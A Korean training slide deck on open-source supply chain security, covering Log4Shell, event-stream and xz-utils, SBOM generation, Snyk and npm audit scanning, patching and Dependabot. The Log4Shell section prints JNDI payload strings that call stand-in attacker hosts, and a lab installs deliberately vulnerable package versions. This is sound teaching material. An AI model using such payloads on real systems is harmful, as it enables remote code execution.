KISIA S-개발자 4기

숨겨진 위험, 공급망 보안 (Supply Chain)

4일차: 오픈소스 공급망 보안과 SBOM

Day 4 of 5

Day 1 Day 2 Day 3 **Day 4** Day 5

4일차 학습 목표

오픈소스 공급망 공격의 유형과 사례를 이해한다

Log4Shell, event-stream, xz-utils 등 실제 사건 분석

SBOM(소프트웨어 자재 명세서)의 개념과 생성 방법을 익힌다

CycloneDX, SPDX 형식의 SBOM 생성 실습

SCA 도구(Snyk, npm audit)로 취약점을 자동 탐지한다

CLI 기반 보안 스캐닝 워크플로우 구축

CI/CD 파이프라인에 보안 검사를 통합한다

GitHub Actions + Dependabot 자동화 설정

라이선스 리스크와 안전한 의존성 관리 전략을 수립한다

package-lock.json, 버전 고정, 업데이트 정책

4일차 교육 일정

09:00~09:30	공급망 공격의 이해 - 사례 중심 학습
09:30~10:00	의존성 구조와 SBOM 개념
10:00~10:30	SCA 도구와 취약점 등급 이해
10:30~10:45	🧉 휴식
10:45~12:00	[실습 7] Snyk CLI로 프로젝트 스캔하기
12:00~13:00	🍙 점심시간
13:00~14:30	[실습 8] 자동 패치 및 재검사
14:30~14:45	🧉 휴식
14:45~15:30	CI/CD 보안 통합 & Docker 보안
15:30~16:00	라이선스 관리 & 4일차 요약

Section 1

공급망 공격의 이해

내가 짠 코드가 아니라, 빌려온 코드가 범인이다

공급망 공격(Supply Chain Attack)이란?

- **소프트웨어 개발에 사용되는 외부 구성 요소를 통해 침투하는 공격**

  → 직접 해킹이 아닌, 신뢰하는 라이브러리/도구를 오염시키는 방식

- **현대 소프트웨어의 70~90%는 오픈소스 코드로 구성**

  → 개발자가 직접 작성한 코드는 전체의 10~30%에 불과

- **2021년 소프트웨어 공급망 공격 650% 증가 (Sonatype 보고서)**

- **공격자 관점: 하나의 라이브러리를 오염시키면 수만 개 프로젝트에 영향**

  → 'Water Hole' 전략 - 물을 마시러 오는 동물을 기다리는 사냥꾼

공급망 공격의 주요 유형

직접 공격

- 악성 패키지 배포 (Typosquatting)
- 기존 패키지 탈취 (Account Takeover)
- 빌드 시스템 침투
- 업데이트 서버 변조
- 개발 도구 감염

간접 공격

- 의존성 혼란 (Dependency Confusion)
- 취약한 라이브러리 악용
- 프로토타입 오염
- 패키지 매니저 취약점 악용
- CI/CD 파이프라인 감염

사례 1: Log4Shell (CVE-2021-44228)

- **2021년 12월 발견된 Apache Log4j 원격 코드 실행 취약점**

  → CVSS 점수: 10.0 (최고 위험도) - 역사상 가장 심각한 취약점 중 하나

- **전 세계 Java 애플리케이션의 약 35%에 영향**

  → Minecraft, iCloud, Steam, Twitter 등 대규모 서비스 피해

- **로그 메시지에 ${jndi:ldap://attacker.com/a} 삽입만으로 서버 장악**

- **발견 후 72시간 내 80만 건 이상의 공격 시도 탐지**

  → 패치 후에도 중첩 의존성으로 인해 완전 해결까지 수개월 소요

Log4Shell 공격 원리 - 어떻게 작동했나?

Java / Log4j

1. 공격자가 악성 문자열을 HTTP 헤더에 삽입
User-Agent: ${jndi:ldap://evil-server.com/exploit}

# 2. Log4j가 로그를 기록하며 JNDI lookup 수행
logger.info("User-Agent: " + request.getHeader("User-Agent"));

3. 악성 서버에서 Java 클래스 파일 다운로드 및 실행
→ 원격 코드 실행 (Remote Code Execution) 달성

영향 범위
- Apache Struts, Solr, Druid, Flink
- Elasticsearch, Kafka, Spring Boot
- 간접 의존성으로 포함된 수만 개 프로젝트

사례 2: event-stream 사건 (2018)

- **npm에서 주당 200만 다운로드되는 인기 패키지**

  → maintainer가 새로운 관리자에게 소유권 이전

- **새 관리자가 flatmap-stream이라는 악성 의존성 추가**

  → 암호화폐 지갑(Copay)의 비트코인을 탈취하는 코드 삽입

- **오픈소스 신뢰 모델의 근본적 취약점을 드러낸 사건**

- **한 명의 악의적 관리자가 수백만 프로젝트에 영향을 줄 수 있음**

  → 'Bus Factor' 문제: 핵심 관리자 1명에 의존하는 구조의 위험

사례 3: xz-utils 백도어 (2024)

- **Linux의 핵심 압축 유틸리티 xz에 백도어 삽입 시도**

  → 2년간 신뢰를 쌓은 후 악성 코드를 삽입한 정교한 공격

- **'Jia Tan'이라는 가명으로 2022년부터 꾸준히 기여**

  → SSH 인증을 우회하는 백도어를 빌드 스크립트에 숨김

- **Microsoft 개발자 Andres Freund가 SSH 지연 현상 조사 중 우연히 발견**

- **발견이 늦었다면 대부분의 Linux 서버가 영향을 받았을 것**

  → 국가 수준의 공급망 공격으로 추정 - APT(Advanced Persistent Threat)

주요 공급망 공격 타임라인

- 2016: left-pad 삭제 사건 → npm 생태계 마비 (의도치 않은 공격)
- 2018: event-stream → 암호화폐 탈취 목적의 의도적 공격
- 2020: SolarWinds Orion → 미국 정부기관 침투 (국가급 공격)
- 2021: ua-parser-js → 암호화폐 채굴기 삽입
- 2021: Log4Shell → 전 세계 Java 생태계 위협
- 2022: node-ipc → 우크라이나 전쟁 관련 항의성 악성코드
- 2023: PyTorch nightly → 의존성 혼란 공격
- 2024: xz-utils → Linux 핵심 인프라 백도어 시도

Section 2

의존성 지옥 (Dependency Hell)

하나의 라이브러리가 수백 개의 다른 라이브러리를 가져온다

의존성 지옥이란?

- **현대 프로젝트는 수백~수천 개의 직간접 의존성을 포함**

  → express 설치 시 약 50개 이상의 하위 의존성이 함께 설치됨

- **React 프로젝트(CRA) 생성 시 약 1,500개 패키지가 node_modules에 설치**

  → 개발자가 인지하지 못하는 깊은 의존성 트리가 존재

- **하나의 취약점이 발견되면 의존성 체인 전체에 영향**
- **업데이트 시 호환성 문제 발생 가능 (Breaking Changes)**

  → 버전 충돌, 순환 의존성 등 복잡한 문제 발생

의존성 트리 시각화 - npm ls

bash

```
$ npm ls --depth=3
my-project@1.0.0
├── express@4.18.2
│   ├── accepts@1.3.8
│   │   ├── mime-types@2.1.35
│   │   │   └── mime-db@1.52.0
│   │   └── negotiator@0.6.3
│   ├── body-parser@1.20.1
│   │   ├── bytes@3.1.2
│   │   ├── content-type@1.0.5
│   │   ├── depd@2.0.0
│   │   └── destroy@1.2.0
│   ├── cookie@0.5.0      ← 여기에 취약점이 있다면?
│   └── ...약 30개 더
├── mongoose@7.0.0
│   └── ...약 20개 더
└── 총 의존성: 347개 패키지
```

프레임워크별 의존성 통계

JavaScript / Node.js

- express: 직접 30 / 전체 57개
- create-react-app: 전체 1,500+개
- next.js: 전체 300+개
- npm 레지스트리: 200만+ 패키지
- 평균 프로젝트: 700+ 의존성

Python / Java

- Django: 직접 3 / 전체 10개
- Flask: 직접 7 / 전체 12개
- Spring Boot: 전체 100+개
- PyPI: 50만+ 패키지
- Maven Central: 50만+ 아티팩트

Section 3

SBOM - 소프트웨어 자재 명세서

Software Bill of Materials: 소프트웨어 성분 표시제

SBOM (Software Bill of Materials)이란?

- **소프트웨어에 포함된 모든 구성요소의 목록 = '소프트웨어 성분표'**

  → 식품 영양 성분표처럼, 소프트웨어에 무엇이 들어있는지 공개

- **2021년 미국 대통령 행정명령(EO 14028)으로 의무화 시작**

  → 연방 정부에 납품하는 소프트웨어는 SBOM 제출 필수

- **주요 표준: SPDX (Linux Foundation), CycloneDX (OWASP)**
- **포함 정보: 패키지명, 버전, 라이선스, 공급자, 해시값**

  → 취약점 발생 시 영향 범위를 신속하게 파악하는 데 핵심

SBOM 표준 형식 비교

SPDX (Linux Foundation)

- ISO/IEC 5962:2021 국제 표준
- 라이선스 중심 (License Compliance)
- Tag-Value, JSON, RDF, XML 형식
- 광범위한 메타데이터 지원
- 정부/규제 기관에서 선호

CycloneDX (OWASP)

- 보안 중심 (Security Focus)
- 취약점 정보 포함 가능 (VEX)
- JSON, XML, Protobuf 형식
- 경량 & 자동화 친화적
- DevSecOps 파이프라인에서 선호

CycloneDX로 SBOM 생성하기

bash / JSON

```
# CycloneDX CLI 도구 설치
$ npm install -g @cyclonedx/cyclonedx-npm

# Node.js 프로젝트의 SBOM 생성
$ cyclonedx-npm --output-file sbom.json

# 생성된 SBOM (JSON 형식)
{
  "bomFormat": "CycloneDX",
  "specVersion": "1.5",
  "components": [
    {
      "type": "library",
      "name": "express",
      "version": "4.18.2",
      "purl": "pkg:npm/express@4.18.2",
      "licenses": [{ "id": "MIT" }]
    },
    ...
  ]
}
```

SCA 도구의 필요성

- **SCA = Software Composition Analysis (소프트웨어 구성 분석)**

  → 수천 개의 의존성을 사람이 일일이 검사하는 것은 불가능

- **2023년 기준, 알려진 취약점(CVE)만 20만 개 이상**

  → 매일 수십 개의 새로운 취약점이 보고됨

- **자동화된 도구 없이는 취약점 대응이 사실상 불가능**

- **SCA 도구가 하는 일:**

  → 의존성 목록 파악 → 알려진 취약점 매칭 → 해결 방안 제시

주요 SCA 도구 비교

무료/오픈소스

- npm audit - Node.js 기본 내장
- OWASP Dependency-Check
- Trivy (Aqua Security)
- Grype + Syft (Anchore)
- pip-audit (Python)

상용/Freemium

- Snyk - 가장 널리 사용
- GitHub Dependabot - GitHub 내장
- Sonatype Nexus
- WhiteSource (Mend)
- Black Duck (Synopsys)

Snyk 도구 소개 - 업계 표준 보안 스캐닝

- **전 세계 1,200만+ 개발자가 사용하는 보안 플랫폼**

  → 무료 플랜: 월 200회 테스트, 개인 프로젝트 무제한

- **지원 영역: Open Source, Code, Container, IaC**

  → npm, pip, Maven, Gradle, Go modules 등 다양한 생태계 지원

- **자동 수정 제안 (Fix PR) 기능으로 원클릭 패치**

- **GitHub, GitLab, Bitbucket, IDE 플러그인 연동**

  → CI/CD 파이프라인에 쉽게 통합 가능

취약점 등급 - 무엇부터 고쳐야 할까?

- **CVSS (Common Vulnerability Scoring System) 0.0 ~ 10.0**
  - → Critical (9.0~10.0): 즉시 패치 필요, 원격 코드 실행 가능
  - → High (7.0~8.9): 24시간 내 패치 권장, 심각한 정보 유출
  - → Medium (4.0~6.9): 1주일 내 패치, 제한적 영향
  - → Low (0.1~3.9): 다음 릴리스에 포함, 경미한 영향
- **EPSS (Exploit Prediction Scoring): 실제 악용 가능성 확률**
- **실무에서는 Critical + High를 우선 처리, EPSS 높은 것 주목**

CVE 정보 읽는 법 - CVE-2021-44228 (Log4Shell)

CVE / CVSS

CVE ID: CVE-2021-44228
Published: 2021-12-10
CVSS v3.1: 10.0 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

AV:N → 네트워크에서 공격 가능 (원격)
AC:L → 공격 복잡도 낮음 (쉽게 악용)
PR:N → 권한 불필요 (인증 없이 가능)
UI:N → 사용자 상호작용 불필요
S:C → 범위 변경 가능 (다른 시스템 영향)
C:H → 기밀성 영향 높음
I:H → 무결성 영향 높음
A:H → 가용성 영향 높음

Section 4

[실습 7] 내 프로젝트 스캔하기

Snyk CLI를 이용한 취약점 진단 실습

HANDS-ON

[실습 7-1] 실습 환경 준비

1. Node.js 18+ 설치 확인: node --version
2. npm 최신 버전 확인: npm --version
3. 실습 디렉토리 생성: mkdir supply-chain-lab && cd supply-chain-lab
4. package.json 초기화: npm init -y
5. 의도적으로 취약한 패키지 설치 (실습용)
6. Git 저장소 초기화: git init

[실습 7-2] 취약한 패키지 설치 (실습용)

bash

```
# 의도적으로 구버전(취약점 포함) 패키지 설치
$ npm install express@4.17.1    # 구버전 Express
$ npm install lodash@4.17.19    # Prototype Pollution 취약점
$ npm install minimist@1.2.5    # Prototype Pollution 취약점
$ npm install axios@0.21.1      # SSRF 취약점
$ npm install jsonwebtoken@8.5.1 # 여러 취약점 포함
$ npm install qs@6.5.2          # Prototype Pollution

# 설치된 패키지 확인
$ npm ls --depth=0
supply-chain-lab@1.0.0
 ├── axios@0.21.1
 ├── express@4.17.1
 ├── jsonwebtoken@8.5.1
 ├── lodash@4.17.19
 ├── minimist@1.2.5
 └── qs@6.5.2
```

[실습 7-3] npm audit - 기본 보안 검사

bash

```
# npm 내장 보안 검사 실행
$ npm audit

# 출력 예시:
┌───────────────┬──────────────────────────────┐
│ Critical      │ Prototype Pollution in lodash │
├───────────────┼──────────────────────────────┤
│ Package       │ lodash                       │
├───────────────┼──────────────────────────────┤
│ Severity      │ critical                     │
├───────────────┼──────────────────────────────┤
│ Versions      │ <4.17.21                     │
├───────────────┼──────────────────────────────┤
│ More info     │ https://github.com/advisories/GHSA-.. │
└───────────────┴──────────────────────────────┘

found 8 vulnerabilities (2 low, 3 moderate, 2 high, 1 critical)
```

[실습 7-4] npm audit 상세 분석

bash

```
# JSON 형식으로 상세 정보 확인
$ npm audit --json | head -50

# 특정 심각도 이상만 필터링
$ npm audit --audit-level=high

# 프로덕션 의존성만 검사 (devDependencies 제외)
$ npm audit --omit=dev

# 자동 수정 시도
$ npm audit fix

# 주요 버전 변경이 필요한 경우 (주의: Breaking change 가능)
$ npm audit fix --force

# 요약 보고서 생성
$ npm audit --json > audit-report.json
```

HANDS-ON

[실습 7-5] Snyk CLI 설치 및 인증

1. Snyk CLI 설치: npm install -g snyk
2. 설치 확인: snyk --version
3. Snyk 계정 인증: snyk auth
4. → 브라우저가 열리면 GitHub/Google로 로그인
5. → 'Authenticated' 메시지 확인
6. 인증 확인: snyk config get api
7. 대안: SNYK_TOKEN 환경변수 설정 (CI/CD용)

[실습 7-6] Snyk으로 프로젝트 스캔

bash

```
# 기본 스캔 실행
$ snyk test

Testing supply-chain-lab...

✗ Prototype Pollution [Critical Severity][https://snyk.io/vuln/...]
  introduced through: lodash@4.17.19
  Fixed in: lodash@4.17.21

✗ Server-Side Request Forgery [High Severity][https://snyk.io/vuln/...]
  introduced through: axios@0.21.1
  Fixed in: axios@0.21.2

✗ Regular Expression DoS [Medium Severity]
  introduced through: qs@6.5.2 > qs@6.5.2
  Fixed in: qs@6.5.3

Tested 347 dependencies for known vulnerabilities
Found 8 issues (1 critical, 2 high, 3 medium, 2 low)
```

[실습 7-7] Snyk 결과 분석하기

- **각 취약점 항목 확인 포인트:**
  - → Severity (심각도): Critical > High > Medium > Low
  - → Introduced through: 어떤 패키지를 통해 유입되었는지
  - → Fixed in: 어떤 버전으로 업데이트하면 해결되는지
  - → 직접 의존성 vs 간접 의존성 구분
- **snyk test --json > snyk-report.json 으로 상세 보고서 저장**
- **snyk test --severity-threshold=high 로 임계값 설정**
  - → CI/CD에서는 high 이상만 빌드 실패 조건으로 설정 권장

[실습 7-8] Snyk Monitor - 지속적 모니터링

bash

```
# 프로젝트를 Snyk 대시보드에 등록
$ snyk monitor

Monitoring supply-chain-lab...
Explore this snapshot at:
https://app.snyk.io/org/my-org/project/abc123...

# 이후 자동으로:
# - 새로운 취약점 발견 시 이메일 알림
# - 주간 보안 보고서 발송
# - 수정 PR 자동 생성 (GitHub 연동 시)

# 대시보드에서 확인할 수 있는 정보:
# - 프로젝트별 취약점 현황
# - 시간별 취약점 추이 그래프
# - 우선순위 기반 수정 가이드
```

[실습 7-9] 취약 의존성 트리 추적

bash

```
# 특정 패키지의 의존성 경로 확인
$ npm ls lodash
supply-chain-lab@1.0.0
 ├── lodash@4.17.19        ← 직접 의존성 (취약)
 └── express@4.17.1
    └── ...

# Snyk으로 의존성 경로 시각화
$ snyk test --print-deps

# 간접 의존성 취약점 추적
$ npm explain lodash
lodash@4.17.19 dev
  node_modules/lodash
    lodash@"^4.17.19" from the root project
    lodash@"^4.17.15" from jsonwebtoken@8.5.1

# 누가 이 패키지를 가져왔는지 역추적 가능!
```

[실습 7-10] SBOM 생성 및 검증

bash

```
# CycloneDX SBOM 생성
$ npx @cyclonedx/cyclonedx-npm --output-file sbom.json

# SBOM 내용 확인 (주요 필드)
$ cat sbom.json | jq '.components | length'
347

$ cat sbom.json | jq '.components[0]'
{
  "type": "library",
  "name": "express",
  "version": "4.17.1",
  "purl": "pkg:npm/express@4.17.1",
  "licenses": [{"license": {"id": "MIT"}}],
  "hashes": [{"alg": "SHA-256", "content": "abc123..."}]
}

# SBOM 기반 취약점 스캔
$ snyk sbom --format=cyclonedx1.5+json > sbom-snyk.json
```

HANDS-ON

[실습 7] 체크리스트 - 완료 확인

1. npm audit 실행 → 취약점 목록 확인 완료?
2. Snyk CLI 설치 및 인증 완료?
3. snyk test 실행 → 결과 분석 완료?
4. snyk monitor로 대시보드 등록 완료?
5. 의존성 트리에서 취약점 경로 추적 완료?
6. CycloneDX SBOM 생성 완료?
7. npm audit --json > report.json 보고서 저장 완료?

Section 5

[실습 8] 자동 패치 실습

보안 경고 뜬 라이브러리 업데이트 및 재검사

취약점 패치 전략

- **1단계: 취약점 심각도와 EPSS 점수로 우선순위 결정**

  → Critical + EPSS 높음 → 즉시 패치 (핫픽스)

- **2단계: 패치 방법 선택**

  → 직접 의존성 → npm update 또는 버전 직접 변경

  → 간접 의존성 → overrides 필드 또는 상위 패키지 업데이트

- **3단계: 테스트 → 패치 후 기능 테스트 필수**
- **4단계: 재검사 → snyk test로 취약점 해결 확인**

[실습 8-1] npm audit fix - 자동 패치

bash

```
# 안전한 자동 패치 (semver 호환 범위 내)
$ npm audit fix

# 실행 결과:
added 2 packages, removed 1 package, changed 5 packages
fixed 5 of 8 vulnerabilities

# 남은 3개는 주요 버전 업그레이드 필요
# → Breaking change 가능성이 있어 자동으로 하지 않음

# 강제 패치 (Breaking change 허용 - 주의!)
$ npm audit fix --force

# dry-run으로 먼저 확인
$ npm audit fix --dry-run
# → 실제 변경 없이 어떤 패키지가 변경될지 미리 확인
```

[실습 8-2] 수동 패치 - package.json 직접 수정

JSON / bash

```
// package.json 수정 전
{
  "dependencies": {
    "lodash": "^4.17.19",    // 취약한 버전
    "axios": "^0.21.1",      // 취약한 버전
    "express": "^4.17.1"     // 구버전
  }
}

// package.json 수정 후
{
  "dependencies": {
    "lodash": "^4.17.21",    // ✓ Prototype Pollution 수정됨
    "axios": "^1.6.0",       // ✓ SSRF 취약점 수정됨
    "express": "^4.18.2"     // ✓ 최신 안정 버전
  }
}

$ npm install  # 변경사항 적용
$ npm audit    # 재검사
```

[실습 8-3] overrides로 간접 의존성 강제 패치

JSON

```
// package.json에 overrides 추가
{
  "dependencies": {
    "some-package": "^1.0.0"
  },
  "overrides": {
    // 간접 의존성의 특정 패키지 버전 강제 지정
    "minimist": "^1.2.8",
    "qs": "^6.11.0",

    // 특정 패키지 하위의 의존성만 오버라이드
    "some-package": {
      "vulnerable-dep": "^2.0.0"
    }
  }
}

# 주의사항:
 - overrides는 npm v8.3+ 에서만 지원
 - yarn은 'resolutions' 필드 사용
 - 호환성 문제 발생 가능 → 반드시 테스트 필요
```

[실습 8-4] Snyk 자동 수정 제안 활용

bash

```
# Snyk 자동 수정 제안 확인
$ snyk fix

✓ Upgraded lodash from 4.17.19 to 4.17.21
✓ Upgraded axios from 0.21.1 to 1.6.0
✓ Upgraded qs from 6.5.2 to 6.11.0
✗ No fix available for jsonwebtoken@8.5.1
  → 수동 마이그레이션 필요 (jose 패키지 권장)

# GitHub 연동 시 자동 Fix PR 생성
# Snyk 대시보드 → 프로젝트 → "Fix this vulnerability"
 → 자동으로 PR 생성 + 테스트 실행

# Snyk의 수정 제안은 호환성 테스트를 거친 것
 → npm audit fix보다 신뢰도 높음
```

[실습 8-5] 패치 후 재검사 - 검증 단계

bash

```
# Step 1: 패치 적용 후 재검사
$ npm audit
found 0 vulnerabilities ✓

$ snyk test
✓ Tested 347 dependencies for known vulnerabilities
  No issues found. ✓

# Step 2: 기능 테스트 실행
$ npm test
Tests: 42 passed, 42 total ✓

# Step 3: 빌드 테스트
$ npm run build
Build completed successfully. ✓

# Step 4: lock 파일 커밋
$ git add package.json package-lock.json
$ git commit -m "fix: update vulnerable dependencies"
```

[실습 8-6] 패치 전후 비교

- **패치 전 상태:**

  → Critical: 1 / High: 2 / Medium: 3 / Low: 2 → 총 8개

- **패치 후 상태:**

  → Critical: 0 / High: 0 / Medium: 0 / Low: 0 → 총 0개

- **수정 방법별 결과:**

  → npm audit fix → 5개 자동 수정 (semver 호환 범위)

  → 수동 업데이트 → 2개 수정 (메이저 버전 변경)

  → 패키지 교체 → 1개 수정 (jsonwebtoken → jose)

[실습 8-7] GitHub Dependabot 설정

YAML

```yaml
# .github/dependabot.yml 생성
version: 2
updates:
  # npm 패키지 자동 업데이트
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"    # 매주 월요일 검사
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "security"
    # 보안 업데이트만 자동 PR
    allow:
      - dependency-type: "direct"
    # 특정 패키지 무시
    ignore:
      - dependency-name: "aws-sdk"
        update-types: ["version-update:semver-major"]
```

[실습 8-8] Dependabot 보안 알림 활용

- **GitHub Settings → Code security and analysis 에서 활성화**
  - → Dependabot alerts: 취약점 발견 시 자동 알림
  - → Dependabot security updates: 자동 패치 PR 생성
  - → Dependabot version updates: 정기적 버전 업데이트 PR
- **알림 채널 설정: 이메일, Slack, Teams 연동 가능**
- **PR 자동 머지 설정으로 Low 위험 업데이트 자동화**
  - → GitHub Security Advisory를 통한 비공개 취약점 보고

Section 6

CI/CD 보안 통합

빌드 파이프라인에 보안 게이트 설정하기

CI/CD 보안 게이트 (Security Gate)

- **보안 게이트 = 취약점이 있으면 배포를 차단하는 자동 검사**

  → 빌드 단계에서 취약점 검사 → 실패 시 배포 중단

- **단계별 보안 게이트 전략:**

  → 개발 환경: Medium 이상 경고 → 정보 제공만

  → 스테이징 환경: High 이상 → 빌드 실패

  → 프로덕션 환경: Critical → 즉시 차단 + 알림

- **보안 게이트 없는 CI/CD = 잠금장치 없는 금고**

HANDS-ON

[실습 8] 체크리스트 - 완료 확인

1. npm audit fix로 자동 패치 실행 완료?
2. 수동 패치 (package.json 직접 수정) 완료?
3. overrides로 간접 의존성 패치 시도 완료?
4. snyk fix 자동 수정 확인 완료?
5. 패치 후 npm audit + snyk test 재검사 완료?
6. dependabot.yml 설정 파일 작성 완료?
7. 패치 전후 취약점 수 비교 확인 완료?

Section 7

Docker 컨테이너 보안 기초

컨테이너 이미지도 공급망의 일부입니다

Docker 이미지 보안 - 왜 중요한가?

- **Docker Hub의 공식 이미지도 취약점을 포함할 수 있음**

  → node:latest 이미지에 수백 개의 OS 레벨 취약점 존재

- **Base image 선택이 컨테이너 보안의 80%를 결정**

  → Alpine 기반 이미지 사용 시 취약점 수 대폭 감소

- **멀티 스테이지 빌드로 불필요한 도구/파일 제거**
- **이미지 서명 및 검증 (Docker Content Trust)**

  → Trivy, Snyk Container로 이미지 스캔 가능

Trivy로 Docker 이미지 스캔

bash

```
# Trivy 설치 (Linux)
$ sudo apt-get install trivy

# Docker 이미지 스캔
$ trivy image node:18-alpine
node:18-alpine (alpine 3.18.4)
Total: 2 (UNKNOWN: 0, LOW: 1, MEDIUM: 1, HIGH: 0, CRITICAL: 0)

$ trivy image node:18
node:18 (debian 12.2)
Total: 198 (UNKNOWN: 3, LOW: 90, MEDIUM: 67, HIGH: 35, CRITICAL: 3)

# Alpine vs Debian: 취약점 수 차이가 극명!
 → Alpine 기반 이미지를 사용하는 것이 보안에 유리

# Snyk으로 컨테이너 스캔
$ snyk container test node:18-alpine
```

안전한 Dockerfile 작성법

Dockerfile

```
# ✗ 나쁜 예시
FROM node:18
COPY . .
RUN npm install
CMD ["node", "app.js"]
```

```
# ✓ 좋은 예시 (보안 강화)
FROM node:18-alpine AS builder     # Alpine 기반 이미지
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production       # ci 사용 + production만
COPY . .

FROM node:18-alpine                # 멀티스테이지 빌드
WORKDIR /app
RUN addgroup -S app && adduser -S app -G app  # 비root 사용자
COPY --from=builder /app .
USER app                           # root 권한 제거
EXPOSE 3000
CMD ["node", "app.js"]
```

Section 8

라이선스 리스크 관리

오픈소스는 '무료'지만 '조건 없는' 것이 아닙니다

오픈소스 라이선스 유형 비교

허용적 라이선스 (Permissive)

- MIT: 거의 제한 없음, 가장 많이 사용
- Apache 2.0: 특허 보호 포함
- BSD 2/3-Clause: MIT와 유사
- ISC: MIT 단순화 버전

→ 상업적 사용에 안전

카피레프트 라이선스 (Copyleft)

- GPL v2/v3: 파생작품도 GPL 공개 의무
- LGPL: 라이브러리 연결은 허용
- AGPL: 네트워크 사용도 공개 의무
- MPL 2.0: 파일 단위 카피레프트

→ 상업적 사용 시 법적 검토 필요

라이선스 리스크 관리 전략

- **GPL/AGPL 라이선스는 상업 프로젝트에서 특히 주의 필요**

  → AGPL: 서버에서 실행만 해도 소스코드 공개 의무 발생

- **라이선스 검사 도구 활용:**

  → license-checker: npm 패키지 라이선스 확인

  → Snyk License Compliance: 정책 기반 자동 검사

- **회사 차원의 라이선스 정책(허용/금지 목록) 수립 필요**

  → '라이선스 미표기' 패키지는 사용 금지 원칙

라이선스 자동 검사 실습

bash

```
# license-checker 설치 및 실행
$ npx license-checker --summary
 ├── MIT: 245
 ├── ISC: 52
 ├── BSD-2-Clause: 18
 ├── Apache-2.0: 12
 ├── BSD-3-Clause: 8
 ├── GPL-2.0: 2       ← 주의!
 └── UNKNOWN: 3       ← 위험!

# GPL 라이선스 패키지만 필터링
$ npx license-checker --onlyAllow "MIT;ISC;BSD-2-Clause;BSD-3-Clause;Apache-2.0"
 → 허용 목록에 없는 라이선스 사용 시 오류 발생

# CI/CD에 통합하여 자동 차단 가능
 → 금지된 라이선스 포함 시 빌드 실패
```

안전한 오픈소스 관리 원칙

- **1. package-lock.json은 반드시 Git에 커밋**

  → 정확한 의존성 버전을 고정하여 재현 가능한 빌드 보장

- **2. npm ci를 사용 (npm install 대신)**

  → lock 파일 기반 설치 → 일관된 의존성 트리 보장

- **3. 정기적인 보안 검사 자동화 (주 1회 이상)**

  → Dependabot + Snyk Monitor 조합 권장

- **4. 의존성 최소화 원칙**

  → is-odd 같은 불필요한 마이크로 패키지 지양

- **5. 버전 범위 제한: ^보다 ~를 권장, 가능하면 정확한 버전 고정**

npm install vs npm ci 비교

npm install

- package.json 기준 설치
- lock 파일 없으면 새로 생성
- lock 파일과 불일치 시 수정
- node_modules 기존 것 유지

→ 개발 환경에서 사용

npm ci

- package-lock.json 기준 설치
- lock 파일 필수 (없으면 에러)
- 불일치 시 에러 발생 (안전)
- node_modules 완전 삭제 후 재설치

→ CI/CD, 프로덕션에서 사용

공급망 보안 체크리스트 (실무용)

- ☐ package-lock.json을 Git에 커밋하고 있는가?
- ☐ CI/CD에서 npm ci를 사용하고 있는가?
- ☐ npm audit 또는 Snyk test를 정기적으로 실행하는가?
- ☐ Dependabot 또는 유사 도구를 활성화했는가?
- ☐ Critical/High 취약점 발견 시 즉시 대응 프로세스가 있는가?
- ☐ SBOM을 생성하고 관리하고 있는가?
- ☐ 라이선스 정책을 수립하고 자동 검사하고 있는가?
- ☐ Docker 이미지를 정기적으로 스캔하고 있는가?

4일차 요약

✓ 공급망 공격: Log4Shell, event-stream, xz-utils 사례 학습

✓ 의존성 관리: 직접/간접 의존성 이해, 의존성 트리 분석

✓ SBOM: 소프트웨어 자재 명세서 개념과 CycloneDX 생성

✓ SCA 도구: npm audit, Snyk CLI로 취약점 자동 탐지

✓ 취약점 등급: CVSS 점수 기반 우선순위 결정

✓ 자동 패치: npm audit fix, snyk fix, overrides 활용

✓ CI/CD 통합: GitHub Actions + Dependabot 자동화

✓ Docker 보안: Alpine 이미지, 멀티스테이지 빌드

✓ 라이선스 관리: MIT vs GPL, 정책 수립 및 자동 검사

4일차 핵심 메시지

- **"모든 오픈소스를 의심하라, 그리고 도구로 검증하라"**

- **오늘 배운 것을 한 줄로:**

  → 내 코드의 90%는 남이 짰다 → 그 코드를 검증하는 것이 보안이다

- **내일부터 바로 할 수 있는 것:**

  → npm audit을 CI/CD에 추가하라 (5분이면 됨)

  → Dependabot을 활성화하라 (클릭 3번이면 됨)

  → package-lock.json을 .gitignore에서 빼라

Q & A

"신뢰하되 검증하라 (Trust but Verify)" - 보안의 기본 원칙

내일 예고: 5일차: 실전 프로젝트 - 보안 점검 자동화 파이프라인 구축